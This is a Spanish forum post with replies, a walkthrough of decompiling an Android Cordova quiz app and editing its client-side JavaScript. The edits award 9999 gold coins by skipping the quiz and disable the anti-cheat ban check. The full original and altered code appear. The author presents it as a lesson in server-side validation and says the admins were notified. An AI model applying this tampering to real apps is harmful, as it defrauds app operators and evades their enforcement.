Noté que tenía bastantes lagazos comparada con otras aplicaciones mucho mas pesadas como por ejemplo: Facebook y Facebook Messenger. Así que me dije: "¿Si tiene tanto lag, será porque están corriendo anuncios en segundo plano y no los veo?" (Siempre pensando lo malo primero), "¿O será que está usando algún motor especial?". Efectivamente no duré ni 15 minutos y tuve que sacarme la duda.

Como corro Android en mi celular, instalé una aplicación llamada "APK Editor" (Pueden buscarla en la playstore) y lo primero que hice, fue echar un ojo dentro de los archivos.












¿Les suena a algo? Es mas que obvio, "Cordova"... "Apache Cordova" sistema multiplataforma que corre aplicaciones web! Eso significa dos cosas:

1 - Tiene que estar en la APK el index.html.
2 - De lo contrario, corre mitad servidor mitad celular.

Ahora ya sabemos porqué se tilda tanto...
Obviamente como se ve en la imágen, encontré el index.html y todo el codigo del cliente :)
Listo, ¿que mas puedo pedir? Servido en bandeja...












II - Etapa de desensamblado y "desofuscado":

Nos instalamos en el celular alguna aplicación para hacer backup de la APK, y copiamos la misma a la PC.


(En mi caso la aplicación para backups es la que figura en la imágen)




Nos bajamos el "Apktool":

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Archivo .jar)
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Y nos bajamos el archivo .bat)

Una vez que tenemos estos dos archivos, los ponemos en una carpeta que nosotros querramos y copiamos la APK a la misma carpeta, así:






Abrimos la consola en la carpeta del decompilador, y ejecutamos el comando:
Código: php
apktool d Nombre de Aplicación.apk



(Ahora con W10 hay que abrir la cmd, dirigirse a la carpeta con cd y recién ahí ejecutar el comando)


Esto nos va a crear una carpeta con el mismo nombre que la APK, y ahí vamos a tener todos los datos necesarios.



Ahora, vamos a poder ver en nuestra PC el código ;)



Nos adentramos en "assets" y encontramos nuevamente nuestro preciado index... ¿Lo ejecutamos?:






Pero no funciona... ¿Porqué?
Simple, estamos corriendo un index que tiene soporte para dispositivo movil, no para navegador/PC.
Como sabemos que usa Cordova, vamos a instalar Node, NPM y Cordova!

Primero nos instalamos Node y NPM, porque sin ellos no existiría Cordova:

Node + NPM:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y ahora si podemos instalarlo:

Código: php
npm install -g cordova


Una vez instalados los paquetes, nos vamos a una carpeta que nos sea cómoda para trabajar y comenzamos creando un proyecto de Cordova. ¿Porque? No hay porqué. No, bueno, si, para poder correr una aplicación de Cordova, necesitamos si o si convertir la plataforma "móvil" a navegador o aplicación Windows... (Se recomienda aplicación de navegador porque es mas cómoda)

Nos vamos a la consola, nos posicionamos sobre la carpeta deseada, y ponemos el siguiente comando:

Código: php
cordova create Nombre_De_La_App


(Puede que tarde, no se preocupen... Si ven que no se mueve nada, presionen "Enter" en la consola, capaz necesitan confirmar algo y no figura, lo digo porque me ha pasado)


Ahora tenemos el nucleo principal de Cordova... Tenemos que agregar el soporte para navegador. Nos vamos adentro del proyecto creado, y en la consola escribimos:

Código: php
cordova platform add browser


Plataforma de Android por si tienen el Android SDK instalado y quieren compilar la APP desde ahí:
Código: php
cordova platform add android


Una vez que tenemos la plataforma "browser", copiamos todos los archivos de la carpeta "www" a la carpeta "www" del proyecto:



Y una vez copiados, ejecutamos el código:

Código: php
cordova run browser




Ahora que Apache Cordova modifica los datos de las carpetas cordova.js, cordova_plugins.js, y service-worker.js, podemos correrla en navegador:



Durante mi tiempo en la aplicación en el celular, tuve tiempo de analizar en detalle las funciones del cliente, funciones de los usuarios, sistemas de niveles, y la parte interesante, compras... Así que antes que nada, procedemos a "desofuscar" los archivos ".js":



Como pueden ver, no están muy "ofuscados" que digamos, está todo juntito, así que mejor para nosotros, nos vamos a nuestro divino "JS Beautifier"...

Copiamos todo el contenido del ".js", lo pegamos en el input gigante, y presionamos el botón:




El resultado, es el siguiente:



Hermosa diferencia :) . Lo copiamos, y lo reemplazamos en el ".js" ! Así uno por uno...











III - Etapa "Mandale mecha":


Yo ya llevo un tiempo con la APP, por lo tanto tuve la chance y el tiempo de conocerla a fondo, pero hubo algo que me tentó, y fue esto:



Como pueden ver, si compramos el objeto "Whistle" (Silbato en inglés), podemos ganar unas monedas mas. Osea que, si yo gano, se me devuelven las monedas gastadas y ¿me quedo con un extra? Vamos a usar el objeto...



Si inspeccionamos los elementos de la prueba, sabemos que:



1 - La imagen "sailor.png" cargó gracias a un archivo ".js".
2 - Sabemos que aplicaciones de este estilo cargan mediante un ".js" principal que llama a otros.

Así que es totalmente una perdida de tiempo analizar un ".js" de un tamaño considerable como el polyfills.js y vendor.js. Si lo pensamos así, es preferible buscar una palabra clave entre los archivos potenciales...

Comenzando la búsqueda, podemos ver que encontramos la llamada en el archivo "0.js":



Y si bajamos... BANG:



Vamos a analizar el código:


Código: javascript


t.prototype.takeQuiz = function() {
                var t = this;
                if (void 0 != this.quizSailor.id) { //Arranca con la prueba
                    this.zone.run(function() {
                        t.isShowQuiz = !0
                    }), setTimeout(function() { // Y nos tira un timer...
                        t.StartTimer() // Que arranca en la función start timer
                    }, 2e3), this.infoRef.child("quiz_taken").transaction(function(t) {
                        return t + 1
                    });
                    var e = parseInt(this.userinfo.myInfo.nb_quiz) + 1;
                    this.myRef.update((n = {
                        isWhistle: !1,
                        nb_quiz: e
                    }, n["doneQuiz/" + this.quizSailor.id + "/taken"] = !0, n)), this.ga.trackEvent("Quiz", "Quiz taken", "Quiz taken", 1);
                    var n
                }
            }, t.prototype.doneTimer = function() { //Si el timer termina
                var t = this;
                void 0 == this.pickedAnswer && (this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/sailor.png"></div>Temps écoulé, trop lent moussaillon !' : '<div><img width="30" src="assets/img/sailor.png"></div>Too slow matey!', "whiteError", 3e3), this.showCorrect(), this.takeSailorGold(), this.zone.run(function() {
                    t.getPercent = 1, t.isDoneQuiz = !0
                })) // Me muestra la correcta y perdí
            }, t.prototype.takeSailorGold = function() {
                this.infoRef.child("sailor_gold_taken").transaction(function(t) {
                    return t + 2
                })
            }, t.prototype.StartTimer = function() { //Arranca el timer
                var t = this;
                this.isDoneTimer || this.isDoneQuiz || (this.timer = setTimeout(function(e) {
                    t.maxTime -= 1, t.maxTime > 0 ? (t.getPercent = Math.round(t.maxTime / t.initMaxTime * 100), t.isDoneTimer = !1, t.StartTimer()) : (t.doneTimer(), t.isDoneTimer = !0)
                }, 1e3))
//Como se puede ver, arriba tenemos un setTimeout (un contador) y tenemos la variable t.maxTime -= 1, nos damos cuenta que va descontando 1 segundo del contador... A tener en cuenta

            }, t.prototype.displayToast = function(t, e, n) {
                var r = this.toastCtrl.create({
                    message: t,
                    duration: n,
                    showCloseButton: !0,
                    cssClass: "center raleway whiteToast " + e + " bold lighter57",
                    position: "bottom"
                });
                r.onDidDismiss(function() {}), r.present()
            }, t.prototype.showCorrect = function() { //Nos muestra la respuesta correcta
                var t = "one";
                1 == this.quizSailor.correct_answer ? t = "one" : 2 == this.quizSailor.correct_answer ? t = "two" : 3 == this.quizSailor.correct_answer ? t = "three" : 4 == this.quizSailor.correct_answer && (t = "four"); // Y como podemos ver, ahora sabemos que la respuesta correcta es "this.quizSailor.correct_answer"
                document.querySelector("." + t).classList.add("correct")
            }, t.prototype.pickAnswer = function(t) {
                var e = this;
                if (!this.isDoneQuiz) {
                    this.zone.run(function() {
                        e.pickedAnswer = t, e.isDoneQuiz = !0, e.isDoneTimer = !0
                    });
                    var n = "one";
                    if (1 == t ? n = "one" : 2 == t ? n = "two" : 3 == t ? n = "three" : 4 == t && (n = "four"), t != this.quizSailor.correct_answer) {
                        document.querySelector("." + n).classList.add("wrong"), this.showCorrect(), this.takeSailorGold(), this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/sailor.png"></div>Pas de chance !' : '<div><img width="30" src="assets/img/sailor.png"></div>Bad luck!', "whiteError", 3e3), this.ga.trackEvent("Quiz", "Wrong answer", "Wrong answer", 1) //Si yo elegí mal la respuesta, me marca como mal y me muestra la correcta
                    } else { //De lo contrario, me suma monedas a mi usuario y puntos de reputación...
                        var r = parseInt(this.userinfo.myInfo.gold) + parseInt(this.quizSailor.reward); //Acá me suma la ganancia...
                        void 0 == this.userinfo.myInfo.good_answer && (this.userinfo.myInfo.good_answer = 0);
                        var i = parseInt(this.userinfo.myInfo.good_answer) + 1;
                        this.myRef.update({
                            gold: r,
                            good_answer: i
                        });
                        var s = this;
                        this.infoRef.child("sailor_gold_given").transaction(function(t) {
                            return t + parseInt(s.quizSailor.reward)
                        });
                        document.querySelector("." + n).classList.add("correct"), this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/sailor.png"></div>Bien joué ! Voilà pour toi<br>Pièces d\'or +' + this.quizSailor.reward : '<div><img width="30" src="assets/img/sailor.png"></div>Well played! Gold coins +' + this.quizSailor.reward, "whiteSuccess", 3e3), this.ga.trackEvent("Quiz", "Correct answer", "Correct answer", 1) // Y me dice que respondí bien...
                    }
                }



Tenemos el funcionamiento completo de las preguntas en el lado del cliente. Esto es algo que JAMÁS se debe hacer. Es vital para una aplicación web hacer que cualquier movimiento se realice a través del servidor y no en nuestra computadora.

Ahora, si modificamos el código:

Código: javascript


t.prototype.takeQuiz = function() {
                var t = this;
                if (void 0 != this.quizSailor.id) {
                    this.zone.run(function() {
                        t.isShowQuiz = !0
                    }), setTimeout(function() { //Ahora cuando arranca el tiempo
                        t.doneTimer() //Directamente se termina el tiempo
                    }, 2e3), this.infoRef.child("quiz_taken").transaction(function(t) {
                        return t + 1
                    });
                    var e = parseInt(this.userinfo.myInfo.nb_quiz) + 1;
                    this.myRef.update((n = {
                        isWhistle: !1,
                        nb_quiz: e
                    }, n["doneQuiz/" + this.quizSailor.id + "/taken"] = !0, n)), this.ga.trackEvent("Quiz", "Quiz taken", "Quiz taken", 1);
                    var n
                }
            }, t.prototype.doneTimer = function() {
               
                var t = this.quizSailor.correct_answer; //Marcamos t como la respuesta correcta

                /*
var t = this;
                void 0 == this.pickedAnswer && (this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/sailor.png"></div>Temps écoulé, trop lent moussaillon !' : '<div><img width="30" src="assets/img/sailor.png"></div>Too slow matey!', "whiteError", 3e3), this.showCorrect(), this.takeSailorGold(), this.zone.run(function() {
                    t.getPercent = 1, t.isDoneQuiz = !0
                }))*/

                var r = parseInt(this.userinfo.myInfo.gold) + parseInt(this.quizSailor.reward) * 9999; // Y nos agrega las monedas que queremos
                void 0 == this.userinfo.myInfo.good_answer && (this.userinfo.myInfo.good_answer = 0);
                var i = parseInt(this.userinfo.myInfo.good_answer) + 1;
                this.myRef.update({
                    gold: r,
                    good_answer: i
                });
                var s = this.quizSailor.correct_answer;
                this.infoRef.child("sailor_gold_given").transaction(function(t) {
                    return t + parseInt(s.quizSailor.reward)
                });

            }, t.prototype.takeSailorGold = function() {
                this.infoRef.child("sailor_gold_taken").transaction(function(t) {
                    return t + 2
                })
            }, t.prototype.StartTimer = function() {
                var t = this;
                this.isDoneTimer || this.isDoneQuiz || (this.timer = setTimeout(function(e) {
                    t.maxTime -= 1, t.maxTime > 0 ? (t.getPercent = Math.round(t.maxTime / t.initMaxTime * 100), t.isDoneTimer = !1, t.StartTimer()) : (t.doneTimer(), t.isDoneTimer = !0)
                }, 1e3))
            }, t.prototype.displayToast = function(t, e, n) {
                var r = this.toastCtrl.create({
                    message: t,
                    duration: n,
                    showCloseButton: !0,
                    cssClass: "center raleway whiteToast " + e + " bold lighter57",
                    position: "bottom"
                });
                r.onDidDismiss(function() {}), r.present()
            }, t.prototype.showCorrect = function() {
                var t = "one";
                1 == this.quizSailor.correct_answer ? t = "one" : 2 == this.quizSailor.correct_answer ? t = "two" : 3 == this.quizSailor.correct_answer ? t = "three" : 4 == this.quizSailor.correct_answer && (t = "four");
                document.querySelector("." + t).classList.add("correct")
            }, t.prototype.pickAnswer = function(t) {
                var e = this;
                if (!this.isDoneQuiz) {
                    this.zone.run(function() {
                        e.pickedAnswer = t, e.isDoneQuiz = !0, e.isDoneTimer = !0
                    });
                    var n = "one";
                    if (1 == t ? n = "one" : 2 == t ? n = "two" : 3 == t ? n = "three" : 4 == t && (n = "four"), t != this.quizSailor.correct_answer) {
                        document.querySelector("." + n).classList.add("wrong"), this.showCorrect(), this.takeSailorGold(), this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/sailor.png"></div>Pas de chance !' : '<div><img width="30" src="assets/img/sailor.png"></div>Bad luck!', "whiteError", 3e3), this.ga.trackEvent("Quiz", "Wrong answer", "Wrong answer", 1)
                    } else {
                        var r = parseInt(this.userinfo.myInfo.gold) + parseInt(this.quizSailor.reward);
                        void 0 == this.userinfo.myInfo.good_answer && (this.userinfo.myInfo.good_answer = 0);
                        var i = parseInt(this.userinfo.myInfo.good_answer) + 1;
                        this.myRef.update({
                            gold: r,
                            good_answer: i
                        });
                        var s = this;
                        this.infoRef.child("sailor_gold_given").transaction(function(t) {
                            return t + parseInt(s.quizSailor.reward)
                        });
                        document.querySelector("." + n).classList.add("correct"), this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/sailor.png"></div>Bien joué ! Voilà pour toi<br>Pièces d\'or +' + this.quizSailor.reward : '<div><img width="30" src="assets/img/sailor.png"></div>Well played! Gold coins +' + this.quizSailor.reward, "whiteSuccess", 3e3), this.ga.trackEvent("Quiz", "Correct answer", "Correct answer", 1)
                    }
                }
            }



Como terminé después de agregarme 9999 monedas?



Pero si lo pensamos bien... Si casi todo está del lado del cliente, eso significa que por mas baneado que esté en el servidor, yo puedo "desbanearme" quitando los bloqueos en el cliente... ¿No? Vamos a ver... Usamos el mismo metodo que con el "sailor.png" y... Acá está:





Y si bajamos, nos encontramos con linea de código que chequea si yo hice trampa... Se supone que al desactivarla no me debería aparecer el cartel... ¿Verdad?



No hay mas ban:



Y estoy lleno de monedas:







Ahora podemos seguir usando la APP sin problemas :)

Saquen sus propias conclusiones. Me gustaría leerlas en los comentarios para que la gente que es mas entendida en el tema nos explique como evitar meter la pata en cosas como estas al momento de programar una app web.


Proximamente se viene una parte 2, porque a como pueden imaginar, esto recién es la punta del iceberg!

Quiero aclarar una cosa antes de terminar el post:

NO BUSQUEN LA APLICACIÓN
(Ya se repararon la mayoría de los exploits, por eso mismo recién ahora publico una parte)
Y lo aclaro porque yo mismo me aseguré de avisarle a los administradores sobre todos los errores que tenían. Y a medida que los vayan reparando y yo vaya teniendo el tiempo de publicarlos, voy a seguir sacando posts de lo que encontré.

Si alguno de ustedes la conoce, le pido que no intente replicar lo que se ve en el post. Los administradores tienen la IP, codigo MAC del dispositivo con el cual usaste la APP, cuentas vinculadas a tu dispositivo y obviamente tu cuenta de Google Play. Así que eviten romper los términos y condiciones.

Un saludo, NERV0




#15
Gracias No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ! Y acabo de darme cuenta que escribí mal lo de perdida de datos, era "fuga de información" como decís vos... Doblemente gracias !

Saludos, NERV0
#16
Hola, tengo un problema bastante tonto... Estoy haciendo un post, es sobre como logré hackear algo así como una pagina web, pero el post está orientado mas que nada a como no programar y dejar ventanas abiertas para la perdida de datos o cracking del funcionamiento. ¿Va en la sección de seguridad web o en la sección de hacking?

Saludos, NERV0
#17
Gracias No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ! Me pone muy contento que te haya gustado el post.

Un saludo y buena semana!
#18
Gracias No tienes permitido ver los links. Registrarse o Entrar a mi cuenta!

Podría actualizar el post para mostrar en un ejemplo "real" (Obviamente falso) el funcionamiento. Pero si te referís al código completo, no puedo lamentablemente... La idea es que todos vean lo que es posible realizar y se animen a crear sus propias "herramientas" con ingenio y adquiriendo conocimiento de la manera que sea mas adecuada para cada uno.

Prometo hacer un post de como comenzar con el aprendizaje de lenguajes! Saludos y espero que tengas una buena semana! Gracias nuevamente por el cumplido.
#19
Está genial ! Gracias por el tremendo aporte, le voy a sacar todo el jugo!

Saludos, NERV0
#20
Si o si tenés que ser usuario ROOT. La unica manera es rooteando tu celular y usar la aplicación que te recomendó FERNANDX.
Un buen foro que te puedo recomendar es No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Tienen todo, y literalmente todo, sobre celulares. Vas a encontrar la información que necesites.
Saludos, NERV0